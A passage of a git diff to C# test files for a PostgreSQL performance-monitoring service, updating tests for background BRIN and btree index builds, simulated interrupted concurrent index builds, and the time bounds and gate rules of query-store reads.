             $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{Index}'::regclass", ct))!);
         var definition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{Index}'::regclass)", ct))!;
         Assert.Contains("USING brin (collection_time)", definition);
-        Assert.Contains("autosummarize='on'", definition);
+        Assert.Contains("autosummarize=off", definition);
 
         var oid = await ScalarAsync(connection, $"SELECT '{Index}'::regclass::oid", ct);
         await EnsureAsync(connection, ct);
@@ -165,9 +171,11 @@ public async Task TheUpsertsCollectionTimeRewrite_StaysHotWithTheBrin_AndNotWith
     }
 
     /// <summary>The column names the product's upsert sets in <c>DO UPDATE SET</c>, parsed from its own SQL.</summary>
-    private static HashSet<string> UpsertSetColumns()
+    internal static HashSet<string> UpsertSetColumns() => UpsertSetColumns(QueryStoreIntervalWide.UpsertSql);
+
+    /// <summary>The same parse for another writer's upsert (the latest table's, #5507).</summary>
+    internal static HashSet<string> UpsertSetColumns(string sql)
     {
-        var sql = QueryStoreIntervalWide.UpsertSql;
         var start = sql.IndexOf("DO UPDATE SET", StringComparison.Ordinal);
         Assert.True(start >= 0, "the upsert has no DO UPDATE SET; the parse below would read nothing");
         var end = sql.IndexOf("WHERE (EXCLUDED.collection_time", start, StringComparison.Ordinal);
@@ -230,7 +238,16 @@ public async Task NoNonBrinIndex_CoversAColumnTheUpsertSets_SoTheUpsertStaysHotF
 
         await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
         await using var connection = await OpenMigratedAsync(scratch, ct);
-        await EnsureAsync(connection, ct);
+
+        /* Every background index the service builds, not the BRIN alone: the census reads the catalog after the product's
+           own list has been ensured, so the next member of QueryStoreBackgroundIndexes.All is scanned without an edit here. */
+        await QueryStoreBackgroundIndexesLiveTests.EnsureAllAsync(connection, ct);
+        foreach (var spec in QueryStoreBackgroundIndexes.All)
+        {
+            Assert.True(
+                (bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{spec.IndexName}'::regclass", ct))!,
+                $"{spec.IndexName} must be built and valid before the census reads the catalog");
+        }
 
         /* Data-independent: the catalog, not a seeded update. The scan must see the identity index and the
            first_execution_time index, or it reads nothing. */
@@ -332,19 +349,50 @@ public async Task AnInvalidLeftover_IsDroppedAndRebuilt()
         await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
         await using var connection = await OpenMigratedAsync(scratch, ct);
         await EnsureAsync(connection, ct);
-        var oldOid = await ScalarAsync(connection, $"SELECT '{Index}'::regclass::oid", ct);
 
-        /* An interrupted CONCURRENTLY build leaves exactly this catalog state; the rig and CI roles are
-           superuser, so flipping indisvalid reproduces it deterministically. */
-        await ExecAsync(connection, $"UPDATE pg_index SET indisvalid = false WHERE indexrelid = '{Index}'::regclass", ct);
-        Assert.False((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{Index}'::regclass", ct))!);
+        var oldLeafOid = await LeaveAnInterruptedLegacyBuildAsync(connection, Index, ct);
 
         await EnsureAsync(connection, ct);
 
         Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{Index}'::regclass", ct))!);
-        Assert.NotEqual(oldOid, await ScalarAsync(connection, $"SELECT '{Index}'::regclass::oid", ct));
-        var definition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{Index}'::regclass)", ct))!;
+        Assert.True((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{Index}_legacy'::regclass", ct))!);
+        Assert.True(await LeafIsAttachedAsync(connection, Index, ct));
+        Assert.NotEqual(oldLeafOid, await ScalarAsync(connection, $"SELECT '{Index}_legacy'::regclass::oid", ct));
+        var definition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{Index}_legacy'::regclass)", ct))!;
         Assert.Contains("USING brin (collection_time)", definition);
-        Assert.Contains("autosummarize='on'", definition);
+        Assert.Contains("autosummarize=off", definition);
     }
+
+    /// <summary>
+    /// Leaves the catalog state an interrupted <c>CREATE INDEX CONCURRENTLY</c> leaves on a day-partitioned table (#5571):
+    /// the parent's <c>ON ONLY</c> index exists and is INVALID, and the legacy table's own index exists, is INVALID and is not
+    /// attached. (Flipping <c>indisvalid</c> on an attached parent, as the old plain-table test did, is not a state the build
+    /// can leave: nothing re-validates a parent whose children are all attached.) Returns the invalid leaf index's oid, which a
+    /// correct ensure drops and rebuilds. The rig and CI roles are superuser, so the flip is deterministic.
+    /// </summary>
+    internal static async Task<object?> LeaveAnInterruptedLegacyBuildAsync(NpgsqlConnection connection, string indexName, CancellationToken ct)
+    {
+        var shortName = indexName[(indexName.IndexOf('.', StringComparison.Ordinal) + 1)..];
+        var parentDefinition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{indexName}'::regclass)", ct))!;
+        var table = Regex.Match(parentDefinition, @" ON ONLY (?<table>\S+) ", RegexOptions.CultureInvariant).Groups["table"].Value;
+        Assert.NotEqual(string.Empty, table);
+
+        var leafDefinition = parentDefinition.Replace(
+            $"INDEX {shortName} ON ONLY {table} ", $"INDEX {shortName}_legacy ON {table}_legacy ", StringComparison.Ordinal);
+        Assert.NotEqual(parentDefinition, leafDefinition);
+
+        await ExecAsync(connection, $"DROP INDEX {indexName}", ct);
+        await ExecAsync(connection, parentDefinition, ct);
+        await ExecAsync(connection, leafDefinition, ct);
+        await ExecAsync(connection, $"UPDATE pg_index SET indisvalid = false WHERE indexrelid = '{indexName}_legacy'::regclass", ct);
+
+        Assert.False((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{indexName}'::regclass", ct))!);
+        Assert.False((bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{indexName}_legacy'::regclass", ct))!);
+        return await ScalarAsync(connection, $"SELECT '{indexName}_legacy'::regclass::oid", ct);
+    }
+
+    /// <summary>Whether the legacy leaf's index is attached to the parent index (a <c>pg_inherits</c> row).</summary>
+    internal static async Task<bool> LeafIsAttachedAsync(NpgsqlConnection connection, string indexName, CancellationToken ct) =>
+        (bool)(await ScalarAsync(connection,
+            $"SELECT EXISTS (SELECT 1 FROM pg_inherits WHERE inhparent = '{indexName}'::regclass AND inhrelid = '{indexName}_legacy'::regclass)", ct))!;
 }
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs
index f62c0ce070..916aaa9dbf 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs
@@ -58,7 +58,10 @@ public void TheBuildSql_IsConcurrent_Idempotent_AndABrinOnCollectionTime()
         var sql = QueryStoreIntervalWideBrinIndex.CreateSql;
         Assert.Contains("CREATE INDEX CONCURRENTLY IF NOT EXISTS", sql);
         Assert.Contains("USING brin (collection_time)", sql);
-        Assert.Contains("autosummarize = on", sql);
+        /* #5594: off. An autosummarize work item waits for the table's lock and cancels a running autovacuum. */
+        Assert.Contains("autosummarize = off", sql);
+        Assert.DoesNotContain("autosummarize = on", sql);
+        Assert.Contains("autosummarize = off", QueryStoreIntervalWideBrinIndex.Spec.IndexDefinition);
         Assert.Contains("ix_query_store_interval_wide_collection_time_brin", sql);
         Assert.Contains("DROP INDEX CONCURRENTLY IF EXISTS", QueryStoreIntervalWideBrinIndex.DropSql);
     }
@@ -66,7 +69,8 @@ public void TheBuildSql_IsConcurrent_Idempotent_AndABrinOnCollectionTime()
     [Fact]
     public void TheEnsure_ReadsValidityFirst_AndGuardsHypertablesThroughAViewCheck()
     {
-        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalWideBrinIndex.cs");
+        /* The machinery moved to QueryStoreBackgroundIndexes (#4952) so the two new btrees share it; the pins moved with it. */
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreBackgroundIndexes.cs");
 
         /* The validity read is what tells an INVALID leftover from a good index; IF NOT EXISTS alone keeps both. */
         Assert.Contains("i.indisvalid", source);
@@ -75,7 +79,7 @@ public void TheEnsure_ReadsValidityFirst_AndGuardsHypertablesThroughAViewCheck()
         /* The hypertable catalog view is queried only after to_regclass says it exists (no TimescaleDB, no view). */
         Assert.Contains("to_regclass('timescaledb_information.hypertables')", source);
         Assert.Contains("if (hasHypertableView)", source);
-        Assert.Contains("BrinAction.SkipHypertable", source);
+        Assert.Contains("IndexAction.SkipHypertable", source);
         Assert.Contains("LogWarning", source);
     }
 
@@ -85,14 +89,16 @@ public void TheWorker_SchedulesTheEnsureAfterMigrations_WithoutAwaitingItOnTheSt
         var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs").Replace("\r\n", "\n");
 
         var migrate = source.IndexOf("PgMigrations.MigrateAsync(migrateConnection", System.StringComparison.Ordinal);
-        var launch = source.IndexOf("var intervalWideBrin = QueryStoreIntervalWideBrinIndex.RunDelayedAsync(", System.StringComparison.Ordinal);
-        var drain = source.IndexOf("await intervalWideBrin;", System.StringComparison.Ordinal);
+        /* #5571: the launch is the day-partition task, which runs Phase A and then the index ensures on one task (the
+           VALIDATE and a CREATE INDEX CONCURRENTLY on the legacy table conflict), so the pin names that entry point. */
+        var launch = source.IndexOf("var queryStoreIndexes = QueryStoreIntervalPartitions.RunDelayedAsync(", System.StringComparison.Ordinal);
+        var drain = source.IndexOf("await queryStoreIndexes;", System.StringComparison.Ordinal);
         var loopStop = source.IndexOf("PerformanceMonitor Darling collection loop stopped", System.StringComparison.Ordinal);
 
         Assert.True(migrate > 0 && launch > migrate, "the ensure must launch after migrations");
         Assert.True(drain > launch && drain < loopStop, "the ensure is drained only at shutdown, after the collection loop");
-        Assert.Single(Regex.Matches(source, @"await intervalWideBrin;"));
-        Assert.Contains("QueryStoreIntervalWideBrinIndex.StartDelay", source);
+        Assert.Single(Regex.Matches(source, @"await queryStoreIndexes;"));
+        Assert.Contains("QueryStoreBackgroundIndexes.StartDelay", source);
     }
 
     [Fact]
@@ -103,7 +109,7 @@ public async Task RunDelayed_CancelledDuringTheDelay_LogsAtDebug_NotInformation(
         using var cts = new CancellationTokenSource();
         cts.CancelAfter(TimeSpan.FromMilliseconds(200));
 
-        await QueryStoreIntervalWideBrinIndex.RunDelayedAsync(dataSource, logger, TimeSpan.FromMinutes(20), cts.Token);
+        await QueryStoreBackgroundIndexes.RunDelayedAsync(dataSource, logger, TimeSpan.FromMinutes(20), QueryStoreBackgroundIndexes.All, cts.Token);
 
         var entry = Assert.Single(logger.Entries);
         Assert.Equal(LogLevel.Debug, entry.Level);
@@ -116,7 +122,7 @@ public void RunDelayed_KeepsTheInformationLineOnlyForACancelAfterTheDelay()
         /* A cancel that lands after the delay needs a connection held open mid-handshake; Npgsql then may report
            the stop as its own exception, so that branch is pinned on the source: the flag is set right after the
            delay, the Debug branch is filtered on it, and the Information branch is the unfiltered catch. */
-        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreIntervalWideBrinIndex.cs")
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "QueryStoreBackgroundIndexes.cs")
             .Replace("\r\n", "\n");
 
         var delay = source.IndexOf("await Task.Delay(delay, cancellationToken)", System.StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs
index fc1b7a1520..9b71f2b7d2 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs
@@ -17,12 +17,14 @@
 namespace Darling.Tests;
 
 /// <summary>
-/// #4605: among the indexes of <c>collect.query_store_interval_wide</c> are the unique key (it leads with
-/// <c>server_id</c> and holds <c>first_execution_time</c> as a key column) and
-/// <c>idx_query_store_interval_wide_first_exec</c>. The three per-server reads of the table (the MCP Query Store top,
+/// #4605: among the btrees of <c>collect.query_store_interval_wide</c> are the unique key (it leads with
+/// <c>server_id</c> and holds <c>first_execution_time</c> as a key column),
+/// <c>idx_query_store_interval_wide_first_exec</c>, and, where the service has built it, the wide btree on
+/// <c>(server_id, first_execution_time)</c> (#4952), which the service builds in the background rather than a
+/// migration. The three per-server reads of the table (the MCP Query Store top,
 /// the Queries grid and the Trends chart, all <c>WHERE server_id = $1</c>) filter <c>collection_time</c> (the Trends
-/// interval arm <c>interval_start_time_utc</c>), which neither serves, so each walked all of the server's rows. Each
-/// now also carries
+/// interval arm <c>interval_start_time_utc</c>), which none of them serves, so each walked all of the server's rows.
+/// Each now also carries
 /// <c>first_execution_time &gt;= &lt;window start&gt; - </c><see cref="QueryStoreIntervalWide.PurgeEdgeMarginSql"/>.
 /// The Custom Views route, for all servers or some, carries no floor; its compose text is pinned in
 /// <c>DarlingComposeTests.Compile_QueryStoreWideEligible_CarriesNoFirstExecutionTimeFloor</c>. This class pins the
@@ -95,23 +97,86 @@ public void ViewerQueryStoreTopTableSql_FloorsFirstExecutionTimeOnItsReadStart_A
     }
 
     [Fact]
-    public void ViewerQueryStoreDurationTrendTableSql_FloorsFirstExecutionTimeOnBothArms_AndTheRawTrendIsUntouched()
+    public void ViewerQueryStoreDurationTrendTableSql_BoundsFirstExecutionTimeOnBothArms_AndTheRawTrendIsUntouched()
     {
         var sql = ViewerDataService.QueryStoreDurationTrendTableSql;
-        var floor = Floor("$2");
-
-        /* Both arms, each after its own time filter: arm 1 (interval_start_time_utc) and arm 2 (the legacy
-           rows, collection_time). The margin appears exactly twice, once per arm. */
-        var floors = Regex.Matches(sql, Regex.Escape(floor));
-        Assert.Equal(2, floors.Count);
-        Assert.Equal(2, Regex.Matches(sql, Regex.Escape(QueryStoreIntervalWide.PurgeEdgeMarginSql)).Count);
-
-        var arm1End = sql.IndexOf("interval_start_time_utc <= $3", StringComparison.Ordinal);
-        var arm2End = sql.IndexOf("collection_time <= $4", StringComparison.Ordinal);
-        Assert.True(arm1End >= 0 && arm1End < floors[0].Index, "arm 1's floor follows its interval_start_time_utc bounds");
-        Assert.True(arm2End >= 0 && arm2End < floors[1].Index && floors[0].Index < arm2End, "arm 2's floor follows its collection_time bounds");
+        var arms = sql.Split("UNION ALL", StringSplitOptions.None);
+        Assert.Equal(2, arms.Length);
+
+        /* Arm 1 (#5523) is placed by interval_start_time_utc, so its range comes from the window: the first execution
+           lies inside the interval, which starts in [$2, $3] and spans at most a day. The collector-derived floor
+           (PurgeEdgeMarginSql) is arm 2's alone, which is placed by collection_time, and that arm takes the upper twin. */
+        Assert.Contains("first_execution_time >= $2 - " + QueryStoreIntervalWide.IntervalStartSlackSql, arms[0], StringComparison.Ordinal);
+        Assert.Contains("first_execution_time <= $3 + " + QueryStoreIntervalWide.IntervalStartFirstExecMarginSql, arms[0], StringComparison.Ordinal);
+        Assert.DoesNotContain(QueryStoreIntervalWide.PurgeEdgeMarginSql, arms[0], StringComparison.Ordinal);
+        Assert.Contains(Floor("$2"), arms[1], StringComparison.Ordinal);
+        Assert.Contains("first_execution_time <= $4 + " + QueryStoreIntervalWide.FirstExecUpperSlackSql, arms[1], StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(sql, Regex.Escape(QueryStoreIntervalWide.PurgeEdgeMarginSql)));
+
+        /* Each bound follows its own arm's time filter. */
+        var arm1End = arms[0].IndexOf("interval_start_time_utc <= $3", StringComparison.Ordinal);
+        Assert.True(arm1End >= 0 && arm1End < arms[0].IndexOf("first_execution_time >=", StringComparison.Ordinal), "arm 1's bounds follow its interval_start_time_utc bounds");
+        var arm2End = arms[1].IndexOf("collection_time <= $4", StringComparison.Ordinal);
+        Assert.True(arm2End >= 0 && arm2End < arms[1].IndexOf("first_execution_time >=", StringComparison.Ordinal), "arm 2's bounds follow its collection_time bounds");
         Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
 
         Assert.DoesNotContain(QueryStoreIntervalWide.PurgeEdgeMarginSql, ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
+        Assert.DoesNotContain(QueryStoreIntervalWide.FirstExecUpperSlackSql, ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
+        Assert.DoesNotContain(QueryStoreIntervalWide.IntervalStartSlackSql, ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5523: the floor alone made the <c>first_execution_time</c> range run from the window start to now, so a window that
+    /// ended days ago, or the edge of a long one, scanned every newer row of the server. Each per-server read now also
+    /// carries the upper twin, placed after its floor. The raw reads carry neither.
+    /// </summary>
+    [Fact]
+    public void EveryPerServerTableRead_CarriesTheUpperBoundBesideItsFloor()
+    {
+        var slack = QueryStoreIntervalWide.FirstExecUpperSlackSql;
+
+        var mcp = DarlingDataReader.QueryStoreTopTableSql;
+        Assert.Single(Regex.Matches(mcp, Regex.Escape("first_execution_time <= $3 + " + slack)));
+        Assert.True(mcp.IndexOf(Floor("$2"), StringComparison.Ordinal) < mcp.IndexOf("first_execution_time <= $3 + ", StringComparison.Ordinal));
+        Assert.DoesNotContain(slack, DarlingDataReader.QueryStoreTopSql, StringComparison.Ordinal);
+
+        /* The long-window read's two edge arms, each ending at its own window end: [$2, $8) and [$9, $3]. */
+        var daily = DarlingDataReader.QueryStoreTopDailyTableSql;
+        Assert.Single(Regex.Matches(daily, Regex.Escape("first_execution_time < $8::date + " + slack)));
+        Assert.Single(Regex.Matches(daily, Regex.Escape("first_execution_time <= $3 + " + slack)));
+        Assert.Equal(2, Regex.Matches(daily, Regex.Escape("first_execution_time >= ")).Count);
+
+        var grid = ViewerDataService.QueryStoreTopTableSql;
+        Assert.Single(Regex.Matches(grid, Regex.Escape("($3::timestamp IS NULL OR first_execution_time <= $3 + " + slack + ")")));
+        Assert.DoesNotContain(slack, ViewerDataService.QueryStoreTopSql, StringComparison.Ordinal);
+
+        var history = DarlingMcpQueryStoreHistoryTools.HistoryTableSql;
+        Assert.Single(Regex.Matches(history, Regex.Escape("first_execution_time <= $5 + " + slack)));
+        Assert.True(history.IndexOf("first_execution_time >= $4 - ", StringComparison.Ordinal) < history.IndexOf("first_execution_time <= $5 + ", StringComparison.Ordinal));
+        Assert.DoesNotContain(slack, DarlingMcpQueryStoreHistoryTools.HistorySql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheUpperSlack_IsNeverShorterThanTheDailyBuilders_AndItsSqlFormsAreNeverShorter()
+    {
+        /* The reads were exact before #5523 and the daily summary is documented as approximate, so the reads' slack (twelve
+           hours: clock set to local time, a long collection cycle) may be longer than the builder's hour but never shorter. */
+        Assert.True(QueryStoreIntervalWide.FirstExecUpperSlack >= QueryStoreTopDaily.SkewSlack);
+        Assert.Equal(TimeSpan.FromHours(12), QueryStoreIntervalWide.FirstExecUpperSlack);
+
+        var slack = Regex.Match(QueryStoreIntervalWide.FirstExecUpperSlackSql, @"^interval '(?<m>\d+) minutes'$");
+        Assert.True(slack.Success, QueryStoreIntervalWide.FirstExecUpperSlackSql);
+        Assert.True(TimeSpan.FromMinutes(long.Parse(slack.Groups["m"].Value, System.Globalization.CultureInfo.InvariantCulture)) >= QueryStoreIntervalWide.FirstExecUpperSlack);
+
+        /* An interval placed by its start can hold a first execution a whole interval later, plus its own hour of slack
+           (both columns are the monitored clock, so no cross-clock skew applies to it). */
+        Assert.Equal(TimeSpan.FromHours(1), QueryStoreIntervalWide.IntervalStartSlack);
+        var floor = Regex.Match(QueryStoreIntervalWide.IntervalStartSlackSql, @"^interval '(?<m>\d+) minutes'$");
+        Assert.True(floor.Success, QueryStoreIntervalWide.IntervalStartSlackSql);
+        Assert.True(TimeSpan.FromMinutes(long.Parse(floor.Groups["m"].Value, System.Globalization.CultureInfo.InvariantCulture)) >= QueryStoreIntervalWide.IntervalStartSlack);
+        Assert.Equal(QueryStoreIntervalWide.IntervalSpanMargin + QueryStoreIntervalWide.IntervalStartSlack, QueryStoreIntervalWide.IntervalStartFirstExecMargin);
+        var start = Regex.Match(QueryStoreIntervalWide.IntervalStartFirstExecMarginSql, @"^interval '(?<m>\d+) minutes'$");
+        Assert.True(start.Success, QueryStoreIntervalWide.IntervalStartFirstExecMarginSql);
+        Assert.True(TimeSpan.FromMinutes(long.Parse(start.Groups["m"].Value, System.Globalization.CultureInfo.InvariantCulture)) >= QueryStoreIntervalWide.IntervalStartFirstExecMargin);
     }
 }
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs
index d8bcede618..1dd21b9cf3 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs
@@ -55,18 +55,52 @@ public void Clause2_FilledSinceAfterMaxOfRawFloorAndWindowStart_ReadsRaw() =>
         Assert.False(Rule(filledSince: WindowEnd));
 
     [Fact]
-    public void Clause3_TableFloorShortOfTheOneDayMargin_ReadsRaw() =>
-        // table floor only reaches 23h before window start — short of the full one-day margin clause 3 needs —
-        // and raw has no floor (a plain store): the table cannot answer for the earliest part of the window.
+    public void Clause3_TableFloorShortOfThePurgeEdgeMargin_ReadsRaw()
+    {
+        /* #5541: the raw read counts a snapshot by collection_time alone, so a snapshot collected at or after the window
+           start can belong to an interval that began down to S - PurgeEdgeMargin (a 1440-minute interval collected up to
+           an hour plus the catch-up cap after it ended). A table floor between S - 26 h and S - 24 h used to pass the
+           old S - 1 day arm and then miss that interval. Raw has no floor here (a plain store), so only 3b can pass. */
+        Assert.False(Rule(tableFloor: WindowStart.AddHours(-24)));
+        Assert.False(Rule(tableFloor: WindowStart - QueryStoreIntervalWide.PurgeEdgeMargin + TimeSpan.FromMinutes(1)));
         Assert.False(Rule(tableFloor: WindowStart.AddHours(-23)));
+    }
 
     [Fact]
-    public void Clause3_TableFloorAtOrBeyondTheOneDayMargin_ReadsTheTable() =>
-        Assert.True(Rule(tableFloor: WindowStart.AddDays(-1)));
+    public void Clause3_ReviewFailingInput_AOneDayIntervalCollectedJustAfterTheWindowStart_ReadsRaw()
+    {
+        /* The round-1 review's pure form: default retention (raw keeps 30 days, so R is far below H and 3a fails),
+           H = S - 24 h, a 12 h minimum window. It returned true before the fix. */
+        var s = WindowStart;
+        Assert.False(QueryStoreIntervalWide.UseTable(
+            s.AddDays(-1), false, s.AddDays(-10), s, s.AddDays(1), null, s.AddDays(1), s.AddHours(-24), TimeSpan.FromHours(12)));
+    }
 
     [Fact]
-    public void Clause3_RawFloorAtOrAboveTableFloor_ReadsTheTable_EvenOutsideTheMargin() =>
-        Assert.True(Rule(rawFloor: WindowStart.AddDays(-3), tableFloor: WindowStart.AddDays(-3)));
+    public void Clause3_TableFloorAtOrBeyondThePurgeEdgeMargin_ReadsTheTable()
+    {
+        Assert.True(Rule(tableFloor: WindowStart - QueryStoreIntervalWide.PurgeEdgeMargin));
+        Assert.True(Rule(tableFloor: WindowStart - QueryStoreIntervalWide.PurgeEdgeMargin - TimeSpan.FromMinutes(1)));
+    }
+
+    [Fact]
+    public void Clause3_RawFloorAtOrAboveTableFloorPlusMargin_ReadsTheTable_EvenOutsideTheMargin()
+    {
+        /* The table floor sits 12h under the window start, short of the purge-edge margin, so only 3a can pass. */
+        var h = WindowStart.AddHours(-12);
+        Assert.True(Rule(rawFloor: h + QueryStoreIntervalWide.PurgeEdgeMargin, tableFloor: h));
+        Assert.True(Rule(rawFloor: h + QueryStoreIntervalWide.PurgeEdgeMargin + TimeSpan.FromMinutes(1), tableFloor: h));
+    }
+
+    [Fact]
+    public void Clause3_RawFloorWithinTheMarginOfTheTableFloor_ReadsRaw()
+    {
+        /* #5541: raw drops a snapshot by collection_time, the table drops an interval by first_execution_time, so
+           raw at or just above the table floor can still hold a snapshot of an interval the table dropped. */
+        var h = WindowStart.AddHours(-12);
+        Assert.False(Rule(rawFloor: h, tableFloor: h));
+        Assert.False(Rule(rawFloor: h + QueryStoreIntervalWide.PurgeEdgeMargin - TimeSpan.FromMinutes(1), tableFloor: h));
+    }
 
     [Fact]
     public void Clause4_OpenEnd_SkipsTheAppliedThroughComparison() =>
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs
index 21c989dec2..d059709a79 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs
@@ -124,7 +124,7 @@ await ExecAsync(connection,
     /// <summary>
     /// Review D4R H1: a window under <see cref="QueryStoreIntervalWide.GridWideMinWindow"/> must issue ZERO
     /// round trips against <c>collect.query_store_interval_wide</c> — no <c>ReadSourceInputsSql</c>, no
-    /// <c>ChunkFloorsSql</c>, and above all no <c>PlainTableFloorSql</c> (the unindexed
+    /// <c>RawChunkFloorSql</c>, and above all no <c>PlainTableFloorSql</c> (the unindexed
     /// <c>MIN(first_execution_time) WHERE server_id = $1</c> scan) — counted directly off
     /// <c>pg_stat_user_tables.seq_scan</c>/<c>idx_scan</c> before and after the call, since PostgreSQL's own
     /// catalog is the only seam that tells "no statement ran" apart from "a statement ran and returned
@@ -438,6 +438,7 @@ private static async Task AssertRawEqualsTableAsync(
             ViewerDataService.AddServerWindowParameters(raw, ServerId, windowStart, windowEnd);
             raw.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
             raw.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+            raw.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(top) });  /* #5313: the round's candidate limit, bound last */
             await raw.ExecuteNonQueryAsync(ct);
         }
 
@@ -452,6 +453,7 @@ private static async Task AssertRawEqualsTableAsync(
             });
             table.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
             table.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+            table.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(top) });  /* #5313: the round's candidate limit, bound last */
             await table.ExecuteNonQueryAsync(ct);
         }
 
@@ -475,6 +477,7 @@ private static async Task AssertRawEqualsTableAsync(
         ViewerDataService.AddServerWindowParameters(command, ServerId, windowStart, windowEnd);
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = top });
         command.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(top) });  /* #5313: the round's candidate limit, bound last */
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
         {
diff --git a/Darling/Darling.Tests/QueryStoreIntervalWideHistoryNoteTests.cs b/Darling/Darling.Tests/QueryStoreIntervalWideHistoryNoteTests.cs
index 8780b04faa..bbb721f384 100644
--- a/Darling/Darling.Tests/QueryStoreIntervalWideHistoryNoteTests.cs
+++ b/Darling/Darling.Tests/QueryStoreIntervalWideHistoryNoteTests.cs
@@ -9,6 +9,9 @@
 using System;
 using System.IO;
 using System.Linq;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
 
@@ -35,9 +38,9 @@ public sealed class QueryStoreIntervalWideHistoryNoteTests
     public void HistoryNote_SlowCadence_IsExact()
     {
         var bound = QueryStoreIntervalWide.WideStartBound.RawFloorSlowCadence;
-        Assert.Equal(Lead1 + "this server" + Lead2 + "This server's" + Slow, QueryStoreIntervalWide.HistoryNote(Start, bound, false));
-        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + "alpha's" + Slow, QueryStoreIntervalWide.HistoryNote(Start, bound, true, "alpha"));
-        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + "A server's" + Slow, QueryStoreIntervalWide.HistoryNote(Start, bound, true));
+        Assert.Equal(Lead1 + "this server" + Lead2 + "This server's" + Slow, QueryStoreIntervalWide.HistoryNote(StartText, bound, false));
+        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + "alpha's" + Slow, QueryStoreIntervalWide.HistoryNote(StartText, bound, true, "alpha"));
+        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + "A server's" + Slow, QueryStoreIntervalWide.HistoryNote(StartText, bound, true));
     }
 
     [Fact]
@@ -45,8 +48,8 @@ public void HistoryNote_LogNotYetCovering_IsExact()
     {
         const string Reason = "The collection log does not yet cover the interval table's purge edge, so older intervals are not read from the interval table.";
         var bound = QueryStoreIntervalWide.WideStartBound.RawFloorLogNotYetCovering;
-        Assert.Equal(Lead1 + "this server" + Lead2 + Reason, QueryStoreIntervalWide.HistoryNote(Start, bound, false));
-        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + Reason, QueryStoreIntervalWide.HistoryNote(Start, bound, true, "alpha"));
+        Assert.Equal(Lead1 + "this server" + Lead2 + Reason, QueryStoreIntervalWide.HistoryNote(StartText, bound, false));
+        Assert.Equal(Lead1 + "the servers in scope" + Lead2 + Reason, QueryStoreIntervalWide.HistoryNote(StartText, bound, true, "alpha"));
     }
 
     [Theory]
@@ -59,22 +62,41 @@ public void HistoryNote_LogNotYetCovering_IsExact()
     [InlineData(QueryStoreIntervalWide.WideStartBound.Window, false, Lead1 + "this server" + Lead2 + Clamp)]
